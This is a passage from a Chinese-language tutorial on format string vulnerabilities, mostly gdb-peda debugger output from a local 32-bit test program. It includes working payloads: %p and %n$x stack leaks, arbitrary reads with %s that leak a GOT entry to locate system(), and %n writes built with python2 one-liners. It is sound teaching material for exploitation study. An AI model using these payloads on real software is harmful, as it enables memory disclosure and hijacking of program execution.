+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
+ 0x5655563b <main+126>: lea eax,[ebp-0x94]
+ 0x56555641 <main+132>: push eax
+=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
+ 0x56555647 <main+138>: add esp,0x20
+ 0x5655564a <main+141>: sub esp,0xc
+ 0x5655564d <main+144>: push 0xa
+ 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+gdb-peda$ x/10x $esp
+0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
+0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
+0xffffd570: 0xf7ffda54 0x00000001
+gdb-peda$ c
+Continuing.
+00000001.88888888.ffffffff.ffffd57a.ffffd584
+
+格式化字符串 0xffffd584
的地址出现在内存中的位置恰好位于参数 arg1
、arg2
、arg3
、arg4
之前。格式字符串 %08x.%08x.%08x.%08x.%08x
表示函数 printf()
从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(arg1
)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,printf()
将显示当前执行函数的栈帧(包括返回地址和参数等)。
当然也可以使用 %p.%p.%p.%p.%p
得到相似的结果。
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("%p.%p.%p.%p.%p")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
+EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
+ 0x5655563b <main+126>: lea eax,[ebp-0x94]
+ 0x56555641 <main+132>: push eax
+=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
+ 0x56555647 <main+138>: add esp,0x20
+ 0x5655564a <main+141>: sub esp,0xc
+ 0x5655564d <main+144>: push 0xa
+ 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+gdb-peda$ c
+Continuing.
+0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584
+
+上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:
+%<arg#>$<format>
+
+%n$x
+
+这里的 n
表示栈中格式字符串后面的第 n
个值。
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
+ 0x5655563b <main+126>: lea eax,[ebp-0x94]
+ 0x56555641 <main+132>: push eax
+=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
+ 0x56555647 <main+138>: add esp,0x20
+ 0x5655564a <main+141>: sub esp,0xc
+ 0x5655564d <main+144>: push 0xa
+ 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+gdb-peda$ x/10w $esp
+0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
+0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
+0xffffd570: 0xf7ffda54 0x00000001
+gdb-peda$ c
+Continuing.
+ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220
+
+这里,格式字符串的地址为 0xffffd584
。我们通过格式字符串 %3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p
分别获取了 arg3
、arg1
、两个 arg2
、arg4
和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 %s
显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 %s
就会输出该位置的内存内容。
还是上面的程序,我们输入 %4$s
,输出的 arg4
就变成了 ABCD
而不是地址 0xffffd57a
:
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("%4$s")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("%4$s")
+EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
+ 0x5655563b <main+126>: lea eax,[ebp-0x94]
+ 0x56555641 <main+132>: push eax
+=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
+ 0x56555647 <main+138>: add esp,0x20
+ 0x5655564a <main+141>: sub esp,0xc
+ 0x5655564d <main+144>: push 0xa
+ 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("%4$s")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("%4$s")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("%4$s")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+gdb-peda$ c
+Continuing.
+ABCD
+
+上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 AAAA.%p
这样的格式的字符串,观察一下栈有什么变化。
gdb-peda$ python print("AAAA"+".%p"*20)
+AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
+...
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
+ 0x5655563b <main+126>: lea eax,[ebp-0x94]
+ 0x56555641 <main+132>: push eax
+=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
+ 0x56555647 <main+138>: add esp,0x20
+ 0x5655564a <main+141>: sub esp,0xc
+ 0x5655564d <main+144>: push 0xa
+ 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+
+格式字符串的地址在 0xffffd584
,从下面的输出中可以看到它们在栈中是怎样排布的:
gdb-peda$ x/20w $esp
+0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
+0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
+0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
+0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025
+0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70
+gdb-peda$ x/20wb 0xffffd584
+0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e
+0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70
+0xffffd594: 0x2e 0x25 0x70 0x2e
+gdb-peda$ python print('\x2e\x25\x70')
+.%p
+
+下面是程序运行的结果:
+gdb-peda$ c
+Continuing.
+AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
+
+0x41414141
是输出的第 13 个字符,所以我们使用 %13$s
即可读出 0x41414141
处的内容,当然,这里可能是一个不合法的地址。下面我们把 0x41414141
换成我们需要的合法的地址,比如字符串 ABCD
的地址 0xffffd57a
:
$ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text
+$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 --> 0xffffd57a ("ABCD")
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
+EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0xf7e27c1b <fprintf+27>: ret
+ 0xf7e27c1c: xchg ax,ax
+ 0xf7e27c1e: xchg ax,ax
+=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
+ 0xf7e27c25 <printf+5>: add eax,0x16f243
+ 0xf7e27c2a <printf+10>: sub esp,0xc
+ 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
+ 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
+0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD")
+0008| 0xffffd554 --> 0x1
+0012| 0xffffd558 --> 0x88888888
+0016| 0xffffd55c --> 0xffffffff
+0020| 0xffffd560 --> 0xffffd57a ("ABCD")
+0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD")
+0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20w $esp
+0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888
+0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc
+0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
+0xffffd57c: 0x00004443 0x00000000 0xffffd57a 0x3331252e
+0xffffd58c: 0x00007324 0xffffd5ca 0x00000001 0x000000c2
+gdb-peda$ x/s 0xffffd57a
+0xffffd57a: "ABCD"
+gdb-peda$ c
+Continuing.
+z���.ABCD
+
+当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 system()
)。如下面展示的这样:
先看一下重定向表:
+$ readelf -r a.out
+
+Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
+ Offset Info Type Sym.Value Sym. Name
+08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
+
+Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
+ Offset Info Type Sym.Value Sym. Name
+0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
+0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
+0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
+0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
+
+.rel.plt
中有四个函数可供我们选择,按理说选择任意一个都没有问题,但是在实践中我们会发现一些问题。下面的结果分别是 printf
、__libc_start_main
、putchar
和 __isoc99_scanf
:
$ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out
+.0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
+$ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out
+.0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
+$ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out
+.0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
+$ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out
+▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
+
+细心一点你就会发现第一个(printf
)的结果有问题。我们输入了 \x0c\xa0\x04\x08
(0x0804a00c
),可是 13 号位置输出的结果却是 0x2e0804a0
,那么,\x0c
哪去了,查了一下 ASCII 表:
Oct Dec Hex Char
+──────────────────────────────────────
+014 12 0C FF '\f' (form feed)
+
+于是就被省略了,同样会被省略的还有很多,如 \x07
('\a')、\x08
('\b')、\x20
(SPACE)等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个(__isoc99_scanf
)。
$ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text
+$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
+EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0xf7e27c1b <fprintf+27>: ret
+ 0xf7e27c1c: xchg ax,ax
+ 0xf7e27c1e: xchg ax,ax
+=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
+ 0xf7e27c25 <printf+5>: add eax,0x16f243
+ 0xf7e27c2a <printf+10>: sub esp,0xc
+ 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
+ 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
+0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
+0008| 0xffffd554 --> 0x1
+0012| 0xffffd558 --> 0x88888888
+0016| 0xffffd55c --> 0xffffffff
+0020| 0xffffd560 --> 0xffffd57a ("ABCD")
+0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
+0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20w $esp
+0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888
+0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc
+0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
+0xffffd57c: 0x00004443 0x00000000 0x0804a018 0x24333125
+0xffffd58c: 0x00f00073 0xffffd5ca 0x00000001 0x000000c2
+gdb-peda$ x/w 0x804a018
+0x804a018: 0xf7e3a790
+gdb-peda$ c
+Continuing.
+▒����
+
+虽然我们可以通过 x/w
指令得到 __isoc99_scanf
函数的虚拟地址 0xf7e3a790
。但是由于 0x804a018
处的内容是仍然一个指针,使用 %13$s
打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。
当然并非总能通过使用 4 字节的跳转(如 AAAA
)来步进参数指针去引用格式字符串的起始部分,有时,需要在格式字符串之前加一个、两个或三个字符的前缀来实现一系列的 4 字节跳转。
现在我们已经可以读取栈上和任意地址的内存了,接下来我们更进一步,通过修改栈和内存来劫持程序的执行流程。%n
转换指示符将 %n
当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。
#include<stdio.h>
+void main() {
+ int i;
+ char str[] = "hello";
+
+ printf("%s %n\n", str, &i);
+ printf("%d\n", i);
+}
+$ ./a.out
+hello
+6
+
+i
被赋值为 6,因为在遇到转换指示符之前一共写入了 6 个字符(hello
加上一个空格)。在没有长度修饰符时,默认写入一个 int
类型的值。
通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(0
补齐时在宽度前加点.
或 0
)。如:
#include<stdio.h>
+void main() {
+ int i;
+
+ printf("%10u%n\n", 1, &i);
+ printf("%d\n", i);
+ printf("%.50u%n\n", 1, &i);
+ printf("%d\n", i);
+ printf("%0100u%n\n", 1, &i);
+ printf("%d\n", i);
+}
+$ ./a.out
+ 1
+10
+00000000000000000000000000000000000000000000000001
+50
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
+100
+
+就是这样,下面我们把地址 0x8048000
写入内存:
printf("%0134512640d%n\n", 1, &i);
+$ ./a.out
+...
+0x8048000
+
+还是我们一开始的程序,我们尝试将 arg2
的值更改为任意值(比如 0x00000020
,十进制 32),在 gdb 中可以看到得到 arg2
的地址 0xffffd538
,那么我们构造格式字符串 \x38\xd5\xff\xff%08x%08x%012d%13$n
,其中 \x38\xd5\xff\xff
表示 arg2
的地址,占 4 字节,%08x%08x
表示两个 8 字符宽的十六进制数,占 16 字节,%012d
占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 arg2
赋值为 0x00000020
。格式字符串最后一部分 %13$n
也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 0xffffd538
的地方(0xffffd564
),printf()
就是通过这个地址找到被覆盖的内容的:
$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text
+$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
+EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0xf7e27c1b <fprintf+27>: ret
+ 0xf7e27c1c: xchg ax,ax
+ 0xf7e27c1e: xchg ax,ax
+=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
+ 0xf7e27c25 <printf+5>: add eax,0x16f243
+ 0xf7e27c2a <printf+10>: sub esp,0xc
+ 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
+ 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
+0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
+0020| 0xffffd540 --> 0xffffd55a ("ABCD")
+0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20x $esp
+0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
+0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
+0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
+0xffffd55c: 0x00004443 0x00000000 0xffffd538 0x78383025
+0xffffd56c: 0x78383025 0x32313025 0x33312564 0x00006e24
+gdb-peda$ finish
+Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+[----------------------------------registers-----------------------------------]
+EAX: 0x20 (' ')
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x0
+EDX: 0xf7f98830 --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
+EIP: 0x8048520 (<main+138>: add esp,0x20)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x8048514 <main+126>: lea eax,[ebp-0x94]
+ 0x804851a <main+132>: push eax
+ 0x804851b <main+133>: call 0x8048350 <printf@plt>
+=> 0x8048520 <main+138>: add esp,0x20
+ 0x8048523 <main+141>: sub esp,0xc
+ 0x8048526 <main+144>: push 0xa
+ 0x8048528 <main+146>: call 0x8048370 <putchar@plt>
+ 0x804852d <main+151>: add esp,0x10
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
+0004| 0xffffd534 --> 0x1
+0008| 0xffffd538 --> 0x20 (' ')
+0012| 0xffffd53c --> 0xffffffff
+0016| 0xffffd540 --> 0xffffd55a ("ABCD")
+0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
+0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x08048520 in main ()
+gdb-peda$ x/20x $esp
+0xffffd530: 0xffffd564 0x00000001 0x00000020 0xffffffff
+0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0
+0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
+0xffffd560: 0x00000000 0xffffd538 0x78383025 0x78383025
+0xffffd570: 0x32313025 0x33312564 0x00006e24 0xf7e70240
+
+对比 printf()
函数执行前后的输出,printf
首先解析 %13$n
找到获得地址 0xffffd564
的值 0xffffd538
,然后跳转到地址 0xffffd538
,将它的值 0x88888888
覆盖为 0x00000020
,就得到 arg2=0x00000020
。
也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 "AA%15$nA"+"\x38\xd5\xff\xff"
,开头的 AA
